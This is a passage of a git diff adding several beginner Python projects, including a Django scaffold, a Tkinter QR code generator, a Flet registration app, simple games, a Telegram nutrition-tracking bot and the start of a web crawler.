exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.0/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'textapp.settings') + +application = get_asgi_application() diff --git a/Projects/Python frameworks/Django/textapp/textapp/settings.py b/Projects/Python frameworks/Django/textapp/textapp/settings.py new file mode 100644 index 000000000..daa513f3b --- /dev/null +++ b/Projects/Python frameworks/Django/textapp/textapp/settings.py @@ -0,0 +1,125 @@ +""" +Django settings for textapp project. + +Generated by 'django-admin startproject' using Django 4.0.5. + +For more information on this file, see +https://docs.djangoproject.com/en/4.0/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.0/ref/settings/ +""" + +from pathlib import Path +import os + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.0/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-c2+_*=2nv3h+wxn13f*hkx%qbngua$rgh08z8xm-e7gp7#u*05' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'textapp.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [os.path.join(BASE_DIR,"templates")], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'textapp.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/4.0/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.0/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.0/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.0/howto/static-files/ + +STATIC_URL = 'static/' + +# Default primary key field type +# https://docs.djangoproject.com/en/4.0/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/Projects/Python frameworks/Django/textapp/textapp/urls.py b/Projects/Python frameworks/Django/textapp/textapp/urls.py new file mode 100644 index 000000000..9b8b918ca --- /dev/null +++ b/Projects/Python frameworks/Django/textapp/textapp/urls.py @@ -0,0 +1,23 @@ +"""textapp URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/4.0/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +from django.contrib import admin +from django.urls import path ,include + + +urlpatterns = [ + path('admin/', admin.site.urls), + path('', include('home.urls')) +] diff --git a/Projects/Python frameworks/Django/textapp/textapp/wsgi.py b/Projects/Python frameworks/Django/textapp/textapp/wsgi.py new file mode 100644 index 000000000..7328a77a3 --- /dev/null +++ b/Projects/Python frameworks/Django/textapp/textapp/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for textapp project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.0/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'textapp.settings') + +application = get_wsgi_application() diff --git a/Projects/Python frameworks/Django/textapp/trail.py b/Projects/Python frameworks/Django/textapp/trail.py new file mode 100644 index 000000000..110f1db4f --- /dev/null +++ b/Projects/Python frameworks/Django/textapp/trail.py @@ -0,0 +1,6 @@ +from gingerit.gingerit import GingerIt +import json +text="i luv u" +parser = GingerIt() +js=json.load(parser.parse(text)) +print(js) \ No newline at end of file diff --git a/Projects/QR Code Generator/qr_generator.py b/Projects/QR Code Generator/qr_generator.py new file mode 100644 index 000000000..8080b9967 --- /dev/null +++ b/Projects/QR Code Generator/qr_generator.py @@ -0,0 +1,40 @@ +import pyqrcode +import os +import tkinter as tk +from tkinter.messagebox import showerror + +def make_qr(): + try: + str_data = data.get() + if str_data != '' and str_data != 'Insert Text Here': + # Generate QR code + img = pyqrcode.create(str_data) + + # Saving the Generated QR Code + img.png('img.png', scale = 6) + data.delete(0,tk.END) + os.startfile('img.png') + else: + showerror('Error!','Please Enter Data') + except: + showerror('Error','Something Went Wrong,\nPlease try later') + +root = tk.Tk() +root.title('Qr Code Generator @load_thecode') +root.geometry('300x500+500+150') +root.iconbitmap('image.ico') + +bg = tk.PhotoImage(file='bg_image1.png') +bg_lab = tk.Label(root,image=bg,bg='white') +bg_lab.place(x=0,y=0,relwidth=1,relheight=1) + +data = tk.Entry(root,font=('Comic Sans MS',18),bg='Black',fg='White') +data.place(x=0,y=240) + +data.insert(tk.END,'Insert Text Here') + +button = tk.Button(root,text='Generate QR',font=('Comic Sans MS',13),relief=tk.RAISED,command=make_qr) +button.place(x=90,y=300) + + +root.mainloop() diff --git a/Projects/Simple_App_FLET.py b/Projects/Simple_App_FLET/Simple_App_FLET.py similarity index 97% rename from Projects/Simple_App_FLET.py rename to Projects/Simple_App_FLET/Simple_App_FLET.py index 88784194c..bc8fcad14 100644 --- a/Projects/Simple_App_FLET.py +++ b/Projects/Simple_App_FLET/Simple_App_FLET.py @@ -1,196 +1,196 @@ -import flet -from flet import TextField, FilledButton, Text,Page,Container,padding,theme,Image,FloatingActionButton,Icon,icons,SnackBar,Theme - - -class AppMain: - """ - หน้าหลัก - """ - def __init__(self,page): - self.page = page - self.page.horizontal_alignment = 'center' - self.page.vertical_alignment = 'center' - self.TextHeaderWelcome = Text('สวัสดีสมาชิกทุกท่านด้วยนี่คือแอพทดสอบของ wk-18k',style="headlineLarge",text_align='center') - self.BtnToRes = FilledButton('กดเพื่อลงทะเบียน',height=50,width=200) - self.BtnToRes.on_click = self.to_res - self.Container1 = Container(content=self.TextHeaderWelcome,margin=5,padding=padding.only(left=30,right=30)) - self.Container2 = Container(content=self.BtnToRes,margin=5,padding=padding.only(left=30,right=30)) - self.img = Image(src=f"/icons/icon-512.png",width=100,height=100,fit="contain",) - self.WidgetList = [self.img,self.Container1,self.Container2] - for i in self.WidgetList: - self.page.add(i) - self.page.update() - - - def to_res(self,event): - """ - ไปหน้าลงทะเบียน - """ - for i in self.WidgetList: - self.page.controls.pop() - AppRegister(self.page) - self.page.update() - -class AppRegister: - """ - หน้าลงทะเบียน - """ - def __init__(self,page): - self.page = page - self.page.horizontal_alignment = 'center' - self.page.vertical_alignment = 'start' - self.Is_has_validate_name = {'status_name':0,'status_surname':0} - self.Is_has_name_surname = 0 - self.Is_has_session = 0 - - self.create_form() - self.btn() - if self.Is_has_session == 1: - self.Submit.disabled = True - - def create_form(self): - self.NameInput = TextField(label='ชื่อ',hint_text='กรอกชื่อจริง',width=300) - self.SurnameInput = TextField(label='นามสกุล',hint_text='กรอกนามสกุล',width=300) - self.AgeInput = TextField(label='อายุ',hint_text='อายุ',width=300,keyboard_type='number',value = 0) - self.TextHeader = Text('สมัครสมาชิก',style="displaySmall") - - self.Container1 = Container(content=self.TextHeader,margin=10,) - self.Container2 = Container(content=self.NameInput,margin=5,padding=padding.only(left=30,right=30)) - self.Container3 = Container(content=self.SurnameInput,margin=5,padding=padding.only(left=30,right=30)) - self.Container4 = Container(content=self.AgeInput,margin=5,padding=padding.only(left=30,right=30)) - self.InputList = [self.Container1,self.Container2,self.Container3,self.Container4] - for i in self.InputList: - self.page.add(i) - self.page.update() - - def btn(self): - self.Submit = FilledButton('ลงทะเบียน',height=50,width=200) - self.Submit.on_click = self.submit - self.BackMain = FilledButton('กลับหน้าหลัก',height=50,width=200) - self.BackMain.on_click = self.back_main - self.Container5 = Container(content=self.Submit,margin=5,padding=padding.only(left=30,right=30)) - self.Container6 = Container(content=self.BackMain,margin=5,padding=padding.only(left=30,right=30)) - self.BtnList = [self.Container5,self.Container6] - - for i in self.BtnList: - self.page.add(i) - self.page.update() - - def back_main(self,event): - """ - กลับไปหน้าหลัก - """ - if self.Is_has_session == 1: - self.page.remove_at(4) - if self.Is_has_validate_name['status_name'] == 1: - self.page.remove_at(2) - if self.Is_has_validate_name['status_surname'] == 1: - self.page.remove_at(3) - - self.pop_form() - self.pop_btn() - AppMain(self.page) - def pop_form(self): - for i in self.InputList: - self.page.controls.pop() - def pop_btn(self): - for i in self.BtnList: - self.page.controls.pop() - - def submit(self,event): - import json - """ - ส่งข้อมูลลงฐานข้อมูล - """ - data = [{ - "id":self.page.session_id, - "name":self.NameInput.value, - "surname":self.SurnameInput.value, - "age":self.AgeInput.value - }] - if self.NameInput.value != "" and self.SurnameInput.value != "": - with open('data.json','r',encoding="utf-8") as f: - data_json = json.loads(f.read()) - if len(data_json) >= 0: - if self.page.session_id not in [i['id'] for i in data_json] : - if self.NameInput.value not in [i['name'] for i in data_json] or self.SurnameInput.value not in [i['surname'] for i in data_json]: - data_json.append(data[0]) - with open('data.json','w',encoding="utf-8") as f: - f.write(json.dumps(data_json,indent=4,ensure_ascii=False)) - else: - if self.Is_has_name_surname != 1: - if self.Is_has_validate_name['status_name'] == 1: - self.page.remove_at(2) - if self.Is_has_validate_name['status_surname'] == 1: - self.page.remove_at(3) - if self.Is_has_session == 1: - self.page.remove_at(4) - self.page.insert(4,Text('ชื่อหรือนามสกุลเคยลงทะเบียนไว้แล้ว',style="bodySmall",text_align='start')) - self.Is_has_name_surname = 1 - else: - if self.Is_has_session != 1: - if self.Is_has_validate_name['status_name'] == 1: - self.page.remove_at(2) - if self.Is_has_validate_name['status_surname'] == 1: - self.page.remove_at(3) - if self.Is_has_name_surname == 1: - self.page.remove_at(4) - - self.Submit.disabled = True - self.page.insert(4,Text('คุณได้ลงทะเบียนไปแล้ว',style="bodySmall",text_align='start',)) - self.Is_has_session = 1 - self.Is_has_name_surname = 1 - - else: - if self.Is_has_validate_name['status_name'] != 1: - self.page.insert(2,Text('กรุณากรอกข้อมูลชื่อให้ครบถ้วน',style="bodySmall",text_align='start')) - self.Is_has_validate_name['status_name'] = 1 - if self.Is_has_validate_name['status_surname'] != 1: - self.page.insert(4,Text('กรุณากรอกข้อมูลนามสกุลให้ครบถ้วน',style="bodySmall",text_align='start')) - self.Is_has_validate_name['status_surname'] = 1 - # try: - # with open('data.json','r',encoding="utf-8") as f: - # data_json = json.load(f) - # if len(data_json) >= 1: - # with open('data.json','w',encoding="utf-8") as f: - # data_json.append(data[0]) - # json.dump(data_json,f,ensure_ascii=False) - # except: - # with open('data.json','w',encoding="utf-8") as f: - # json.dump(data,f,ensure_ascii=False) - - # print(self.page.session_id) - # print(self.NameInput.value) - # print(self.SurnameInput.value) - # print(self.AgeInput.value) - -class SwithMode: - """ - เปลี่ยนโหมด - """ - def __init__(self,page): - self.page = page - self.page.floating_action_button = FloatingActionButton("+",icon="add",content=Icon(icons.DARK_MODE)) - self.page.floating_action_button.on_click = self.switch_mode - def switch_mode(self,e): - """ - สลับโหมดมืด สว่าง - """ - self.page.theme_mode="light" if self.page.theme_mode=="dark" else "dark" - self.page.floating_action_button.content = Icon(icons.LIGHT_MODE) if self.page.theme_mode=="dark" == "dark" else Icon(icons.DARK_MODE) - self.page.update() - - - -def main(page: Page): - page.title = 'แอพ wk18k' - page.theme = theme.Theme(color_scheme_seed="indigo") - page.theme_mode = "dark" - page.horizontal_alignment = 'center' - AppMain(page) - SwithMode(page) - - page.update() - - +import flet +from flet import TextField, FilledButton, Text,Page,Container,padding,theme,Image,FloatingActionButton,Icon,icons,SnackBar,Theme + + +class AppMain: + """ + หน้าหลัก + """ + def __init__(self,page): + self.page = page + self.page.horizontal_alignment = 'center' + self.page.vertical_alignment = 'center' + self.TextHeaderWelcome = Text('สวัสดีสมาชิกทุกท่านด้วยนี่คือแอพทดสอบของ wk-18k',style="headlineLarge",text_align='center') + self.BtnToRes = FilledButton('กดเพื่อลงทะเบียน',height=50,width=200) + self.BtnToRes.on_click = self.to_res + self.Container1 = Container(content=self.TextHeaderWelcome,margin=5,padding=padding.only(left=30,right=30)) + self.Container2 = Container(content=self.BtnToRes,margin=5,padding=padding.only(left=30,right=30)) + self.img = Image(src=f"/icons/icon-512.png",width=100,height=100,fit="contain",) + self.WidgetList = [self.img,self.Container1,self.Container2] + for i in self.WidgetList: + self.page.add(i) + self.page.update() + + + def to_res(self,event): + """ + ไปหน้าลงทะเบียน + """ + for i in self.WidgetList: + self.page.controls.pop() + AppRegister(self.page) + self.page.update() + +class AppRegister: + """ + หน้าลงทะเบียน + """ + def __init__(self,page): + self.page = page + self.page.horizontal_alignment = 'center' + self.page.vertical_alignment = 'start' + self.Is_has_validate_name = {'status_name':0,'status_surname':0} + self.Is_has_name_surname = 0 + self.Is_has_session = 0 + + self.create_form() + self.btn() + if self.Is_has_session == 1: + self.Submit.disabled = True + + def create_form(self): + self.NameInput = TextField(label='ชื่อ',hint_text='กรอกชื่อจริง',width=300) + self.SurnameInput = TextField(label='นามสกุล',hint_text='กรอกนามสกุล',width=300) + self.AgeInput = TextField(label='อายุ',hint_text='อายุ',width=300,keyboard_type='number',value = 0) + self.TextHeader = Text('สมัครสมาชิก',style="displaySmall") + + self.Container1 = Container(content=self.TextHeader,margin=10,) + self.Container2 = Container(content=self.NameInput,margin=5,padding=padding.only(left=30,right=30)) + self.Container3 = Container(content=self.SurnameInput,margin=5,padding=padding.only(left=30,right=30)) + self.Container4 = Container(content=self.AgeInput,margin=5,padding=padding.only(left=30,right=30)) + self.InputList = [self.Container1,self.Container2,self.Container3,self.Container4] + for i in self.InputList: + self.page.add(i) + self.page.update() + + def btn(self): + self.Submit = FilledButton('ลงทะเบียน',height=50,width=200) + self.Submit.on_click = self.submit + self.BackMain = FilledButton('กลับหน้าหลัก',height=50,width=200) + self.BackMain.on_click = self.back_main + self.Container5 = Container(content=self.Submit,margin=5,padding=padding.only(left=30,right=30)) + self.Container6 = Container(content=self.BackMain,margin=5,padding=padding.only(left=30,right=30)) + self.BtnList = [self.Container5,self.Container6] + + for i in self.BtnList: + self.page.add(i) + self.page.update() + + def back_main(self,event): + """ + กลับไปหน้าหลัก + """ + if self.Is_has_session == 1: + self.page.remove_at(4) + if self.Is_has_validate_name['status_name'] == 1: + self.page.remove_at(2) + if self.Is_has_validate_name['status_surname'] == 1: + self.page.remove_at(3) + + self.pop_form() + self.pop_btn() + AppMain(self.page) + def pop_form(self): + for i in self.InputList: + self.page.controls.pop() + def pop_btn(self): + for i in self.BtnList: + self.page.controls.pop() + + def submit(self,event): + import json + """ + ส่งข้อมูลลงฐานข้อมูล + """ + data = [{ + "id":self.page.session_id, + "name":self.NameInput.value, + "surname":self.SurnameInput.value, + "age":self.AgeInput.value + }] + if self.NameInput.value != "" and self.SurnameInput.value != "": + with open('data.json','r',encoding="utf-8") as f: + data_json = json.loads(f.read()) + if len(data_json) >= 0: + if self.page.session_id not in [i['id'] for i in data_json] : + if self.NameInput.value not in [i['name'] for i in data_json] or self.SurnameInput.value not in [i['surname'] for i in data_json]: + data_json.append(data[0]) + with open('data.json','w',encoding="utf-8") as f: + f.write(json.dumps(data_json,indent=4,ensure_ascii=False)) + else: + if self.Is_has_name_surname != 1: + if self.Is_has_validate_name['status_name'] == 1: + self.page.remove_at(2) + if self.Is_has_validate_name['status_surname'] == 1: + self.page.remove_at(3) + if self.Is_has_session == 1: + self.page.remove_at(4) + self.page.insert(4,Text('ชื่อหรือนามสกุลเคยลงทะเบียนไว้แล้ว',style="bodySmall",text_align='start')) + self.Is_has_name_surname = 1 + else: + if self.Is_has_session != 1: + if self.Is_has_validate_name['status_name'] == 1: + self.page.remove_at(2) + if self.Is_has_validate_name['status_surname'] == 1: + self.page.remove_at(3) + if self.Is_has_name_surname == 1: + self.page.remove_at(4) + + self.Submit.disabled = True + self.page.insert(4,Text('คุณได้ลงทะเบียนไปแล้ว',style="bodySmall",text_align='start',)) + self.Is_has_session = 1 + self.Is_has_name_surname = 1 + + else: + if self.Is_has_validate_name['status_name'] != 1: + self.page.insert(2,Text('กรุณากรอกข้อมูลชื่อให้ครบถ้วน',style="bodySmall",text_align='start')) + self.Is_has_validate_name['status_name'] = 1 + if self.Is_has_validate_name['status_surname'] != 1: + self.page.insert(4,Text('กรุณากรอกข้อมูลนามสกุลให้ครบถ้วน',style="bodySmall",text_align='start')) + self.Is_has_validate_name['status_surname'] = 1 + # try: + # with open('data.json','r',encoding="utf-8") as f: + # data_json = json.load(f) + # if len(data_json) >= 1: + # with open('data.json','w',encoding="utf-8") as f: + # data_json.append(data[0]) + # json.dump(data_json,f,ensure_ascii=False) + # except: + # with open('data.json','w',encoding="utf-8") as f: + # json.dump(data,f,ensure_ascii=False) + + # print(self.page.session_id) + # print(self.NameInput.value) + # print(self.SurnameInput.value) + # print(self.AgeInput.value) + +class SwithMode: + """ + เปลี่ยนโหมด + """ + def __init__(self,page): + self.page = page + self.page.floating_action_button = FloatingActionButton("+",icon="add",content=Icon(icons.DARK_MODE)) + self.page.floating_action_button.on_click = self.switch_mode + def switch_mode(self,e): + """ + สลับโหมดมืด สว่าง + """ + self.page.theme_mode="light" if self.page.theme_mode=="dark" else "dark" + self.page.floating_action_button.content = Icon(icons.LIGHT_MODE) if self.page.theme_mode=="dark" == "dark" else Icon(icons.DARK_MODE) + self.page.update() + + + +def main(page: Page): + page.title = 'แอพ wk18k' + page.theme = theme.Theme(color_scheme_seed="indigo") + page.theme_mode = "dark" + page.horizontal_alignment = 'center' + AppMain(page) + SwithMode(page) + + page.update() + + flet.app(target=main,port=25648,view=flet.WEB_BROWSER) \ No newline at end of file diff --git a/Projects/StonePaperScissors/StonePaperScissors.py b/Projects/StonePaperScissors/StonePaperScissors.py new file mode 100644 index 000000000..de6592c29 --- /dev/null +++ b/Projects/StonePaperScissors/StonePaperScissors.py @@ -0,0 +1,91 @@ +def game(): + import random + print(""" +-----------------Stone Paper Scissors GAME!----------------- +1 - Stone +2 - Paper +3 - Scissors +""") + + a = ["Stone", "Paper", "Scissors"] + i = 1 + rounds = 5 + comp = 0 + you = 0 + + while i <= rounds: + b = random.choice(a) + c = input("Enter your Choice: ") + + if c == "1": + c = "Stone" + elif c == "2": + c = "Paper" + elif c == "3": + c = "Scissors" + else: + print("Please enter a valid input!") + continue + + if b == c: + print(f"\nComputer: {b}\nYou: {c}\nDraw!") + print("Rounds left: ", rounds - i) + i += 1 + elif b == "Stone" and c == "Paper": + print(f"\nComputer: {b}\nYou: {c}\nYou won!") + print("Rounds left: ", rounds - i) + you += 1 + i += 1 + elif b == "Paper" and c == "Stone": + print(f"\nComputer: {b}\nYou: {c}\nComp won!") + print("Rounds left: ", rounds - i) + comp += 1 + i += 1 + elif b == "Scissors" and c == "Stone": + print(f"\nComputer: {b}\nYou: {c}\nYou won!") + print("Rounds left: ", rounds - i) + you += 1 + i += 1 + elif b == "Stone" and c == "Scissors": + print(f"\nComputer: {b}\nYou: {c}\nComp won!") + print("Rounds left: ", rounds - i) + comp += 1 + i += 1 + elif b == "Scissors" and c == "Paper": + print(f"Computer: {b}\nYou: {c}\nComp won!") + print("Rounds left: ", rounds - i) + comp += 1 + i += 1 + elif b == "Paper" and c == "Scissors": + print(f"\nComputer: {b}\nYou: {c}\nYou won!") + print("Rounds left: ", rounds - i) + you += 1 + i += 1 + else: + print("Rounds left: ", rounds - i + 1) + + print(f"\nScore -> Computer - {comp} | You - {you}\n") + + if comp > you: + print("Better luck next time!") + elif you > comp: + print("Winner winner chicken dinner!") + else: + print("Its a TIE!") + + print("GAME OVER!\n") + + +game() + +while True: + replay = input("Do you want to play again[y/n]: ") + if replay == "y": + game() + elif replay == "n": + break + else: + continue + +print("\nThanks for playing!") +input("\nPress any key to exit") diff --git a/Projects/Telegram-bot/bot.py b/Projects/Telegram-bot/bot.py new file mode 100644 index 000000000..b910e54d4 --- /dev/null +++ b/Projects/Telegram-bot/bot.py @@ -0,0 +1,143 @@ +import os +from os import environ, sendfile +import requests +import json +import telebot +import csv +from dotenv import load_dotenv +load_dotenv() + +# TODO: 1.1 Add Request HTTP URL of the API +NUTRITIONIX_API_KEY = environ.get('NUTRITIONIX_API_KEY') +NUTRITIONIX_APP_ID = environ.get('NUTRITIONIX_APP_ID') +HTTP_API = environ.get('http_api') + +headers = {'Content-Type': 'application/json', + 'x-app-id': NUTRITIONIX_APP_ID, 'x-app-key': NUTRITIONIX_API_KEY} +user = {'name': None, 'gender': None, + 'weight': None, 'height': None, 'age': None} +bot = telebot.TeleBot(HTTP_API) + + +@bot.message_handler(commands=['start', 'hello']) +def greet(message): + global botRunning + botRunning = True + fileN = open('Nutrition_Report.csv', 'w') + fileE = open('Exercise_Report.csv', 'w') + fileNwriter = csv.writer(fileN) + fileEwriter = csv.writer(fileE) + fileNwriter.writerow(['Food_Name', 'Quantity', 'Calories', 'Fat','Carbohydrates', 'Protiens']) + fileEwriter.writerow(['Exercise_Name', 'Duration(in mins)', 'Calories Burned']) + fileE.close() + fileN.close() + # TODO: 3.1 Add CSV file creation + + bot.reply_to( + message, 'Hello! I am TeleFit. Use me to monitor your health'+'\N{grinning face with smiling eyes}'+'\nYou can use the command \"/help\" to know more about me.') + + +@bot.message_handler(commands=['stop', 'bye']) +def goodbye(message): + global botRunning + botRunning = False + bot.reply_to(message, 'Bye!\nStay Healthy'+'\N{flexed biceps}') + + +@bot.message_handler(func=lambda message: botRunning, commands=['help']) +def helpProvider(message): + bot.reply_to(message, '1.0 You can use \"/nutrition Units Quantity-Type Food-Name\" command to get the nutrients of a particular food. For eg: \"/nutrition 1 piece chapati\"\n\n2.1 For using the bot to get details about an exercise you need to first set the user data using the command \"/user Name, Gender, Weight(in Kg), Height (in cm), Age\". For eg: \"/user Akshat, Male, 70, 6, 19\n\n2.2 Then you can use the command \"/execise Duration-amount Duration-unit Exercise-name\" to get data about an exercise. For eg: \"/exercise 40 minutes push-ups\"\n\n3.0. You can use the command \"/reports Report-name\" to get the reports in CSV Format. For eg: \"/reports nutrition\" to get nutrition report and \"/reports exercise\" to get exercise reports or use the command \"/reports nutrition, exercise\" to get both nutrition and exercise reports\n\n4.0. You can use the command \"/stop\" or the command \"/bye\" to stop the bot.') + + +@bot.message_handler(func=lambda message: botRunning, commands=['user']) +def setUser(message): + global user + usr_input = message.text[6:] + Name, Gender, Weight, Height, Age = usr_input.split(", ") + # TODO: 2.1 Set user data + bot.reply_to(message, 'User set!') + reply = 'Name: ' + str(Name)+"\n"+"Gender: "+str(Gender)+"\n"+"Weight: "+str(Weight)+"\n"+"Height: "+str(Height)+"\n"+"Age: "+str(Age) + # TODO: 2.2 Display user details in the telegram chat + bot.send_message(message.chat.id, reply) + + +@bot.message_handler(func=lambda message: botRunning, commands=['nutrition']) +def getNutrition(message): + bot.reply_to(message, 'Getting nutrition info...') + # TODO: 1.2 Get nutrition information from the API + qinput = message.text[11:] + url = "https://trackapi.nutritionix.com/v2/natural/nutrients" + n = requests.request("POST", url, headers=headers, json={"query":qinput}) + for i in n.json(): + for j in (n.json()[i]): + Nutrinfo = j + # TODO: 1.3 Display nutrition data in the telegram chat + itemname = str(Nutrinfo['food_name']) + quantity = str(Nutrinfo['serving_qty']) + calories = str(Nutrinfo['nf_calories']) + fat = str(Nutrinfo['nf_total_fat']) + carbs = str(Nutrinfo['nf_total_carbohydrate']) + protiens = str(Nutrinfo['nf_protein']) + INFo = "Item: "+ itemname +"\n"+"Quantity: " + quantity + "\n"+ "Calories: " + calories+"\n"+ "Carbohydrates: " + carbs + "\n"+ "Protiens: "+protiens+"\n" + "Fat: "+fat+"\n" + bot.send_message(message.chat.id, INFo) + # TODO: 3.2 Dump data in a CSV file + data = [] + for i in [itemname, quantity,calories,fat,carbs,protiens]: + data.append(i) + with open('Nutrition_Report.csv', 'a') as n: + writer = csv.writer(n) + writer.writerow(data) + + + + + +@bot.message_handler(func=lambda message: botRunning, commands=['exercise', 'Ex', 'ex']) +def getCaloriesBurn(message): + bot.reply_to(message, 'Estimating calories burned...') + # TODO: 2.3 Get exercise data from the API + url = "https://trackapi.nutritionix.com/v2/natural/exercise" + einput = message.text[10:] + e = requests.request("POST", url, headers=headers, json={"query":einput }) + # TODO: 2.4 Display exercise data in the telegram chat + for i in e.json(): + for j in (e.json()[i]): + Exerinfo = j + + exer_name = str(Exerinfo['name']) + exer_time = str(Exerinfo["duration_min"]) + " minutes" + calories_burned = str(Exerinfo["nf_calories"]) + + messE = f"Exercise: {exer_name} \nWorkout Time: {exer_time} \nCalories Burned : {calories_burned}" + bot.send_message(message.chat.id, messE) + # TODO: 3.3 Dump data in a CSV file + data = [] + for i in [exer_name,exer_time,calories_burned]: + data.append(i) + with open('Exercise_Report.csv', 'a') as f: + writer = csv.writer(f) + writer.writerow(data) + + + + + + +@bot.message_handler(func=lambda message: botRunning, commands=['reports']) +def getCaloriesBurn(message): + bot.reply_to(message, 'Generating report...') + # TODO: 3.4 Send downlodable CSV file to telegram chat + repor = (message.text[9:]).split(', ') + if 'nutrition' in repor: + nutriCsv = open('Nutrition_Report.csv', 'rb') + bot.send_document(message.chat.id, nutriCsv) + if 'exercise' in repor: + exerCsv = open("Exercise_Report.csv",'rb' ) + bot.send_document(message.chat.id, exerCsv) + + +@bot.message_handler(func=lambda message: botRunning) +def default(message): + bot.reply_to(message, 'I did not understand '+'\N{confused face}') + +bot.infinity_polling() diff --git a/Projects/Third/Hangman.py b/Projects/Third/Hangman.py new file mode 100644 index 000000000..a3c6cd946 --- /dev/null +++ b/Projects/Third/Hangman.py @@ -0,0 +1,119 @@ +import random as rd + + +stages=[''' + +----+-----+ + | | | + | O | + | | + | | + | | + | | + =========== + ''', + ''' + +----+-----+ + | | | + | O | + | | | + | | + | | + | | + ============ + ''', + ''' + +----+-----+ + | | | + | O | + | /| | + | | + | | + | | + ============ + ''', + ''' + +----+----+ + | | | + | O | + | /|\ | + | | + | | + | | + =========== + ''', + ''' + +----+----+ + | | | + | O | + | /|\ | + | / | + | | + | | + ========== + ''', + ''' + + +----+-----+ + | | | + | O | + | /|\ | + | / \ | + | | + | | + =========== + + ''' ] + + +word_list=['python','java','language'] + +stage_no=0 + +empty_list=[] + +word_choose=rd.choice(word_list) + +for i in word_choose: + + empty_list.append('_') + +end_game= False + +while not (end_game): + + guess=input('Enter The Guess Letter : ') + + for i in range(len(word_choose)): + + + if word_choose[i] == guess: + + empty_list[i] = guess + + + if guess not in word_choose: + + print(stages[stage_no]) + + stage_no+=1 + + if stage_no == 5: + + print(stages[5]) + + end_game = True + + print('Awww! Lose. ):') + + break + + print(empty_list) + + if '_' not in empty_list: + + end_game= True + + print('Hurry ! You Won Game. (:') + + break + diff --git a/Projects/Web-Crawler/README.md b/Projects/Web-Crawler/README.md new file mode 100644 index 000000000..0e706c100 --- /dev/null +++ b/Projects/Web-Crawler/README.md @@ -0,0 +1,6 @@ +# Python-Web-Crawler +A Web crawler, sometimes called a spider or spiderbot and often shortened to crawler, is an Internet bot that systematically browses the World Wide Web, +typically operated by search engines for the purpose of Web indexing (web spidering). +In this project, using Python, a Web-Crawler is created that fetches all the links from a particular website. +(Use VS Code or PyCharm for getting the desired output) +Ref : The Complete Python Masterclass: Learn Python From Scratch by Ashutosh Pawar. diff --git a/Projects/Web-Crawler/demo.py b/Projects/Web-Crawler/demo.py new file mode 100644 index 000000000..0f0590740 --- /dev/null +++ b/Projects/Web-Crawler/demo.py @@ -0,0 +1,37 @@ +import os + +def create_project_dir(directory): + if not os.path.exists(directory): + print('Creating the directory' + directory) + os.makedirs(directory) + +def create_data_files(project_name, base_url): + queue = os.path.join(project_name,'queue.txt') + crawled = os.path.join(project_name,"crawled.txt") + if not os.path.isfile(queue): + write_file(queue,base_url) + if not os.path.isfile(crawled): + write_file(crawled,'') + +def write_file(path,data): + with open(path,'w') as f: + f.write(data) + +def append_to_file(path,data): + with open(path,'a') as f: + f.write(data,'\n') + +def delete_file_contents(path): + open(path,'w').close() + +def file_to_set(file_name): + results= set() + with open(file_name,'rt') as f: + for line in f: + results.add(line.replace('\n','')) + return results + +def set_to_file(links,file_name): + with open(file_name,"w") as f: + for l in sorted(links): + f.write(l+"\n") \ No newline at end of file diff --git a/Projects/Web-Crawler/domain.py 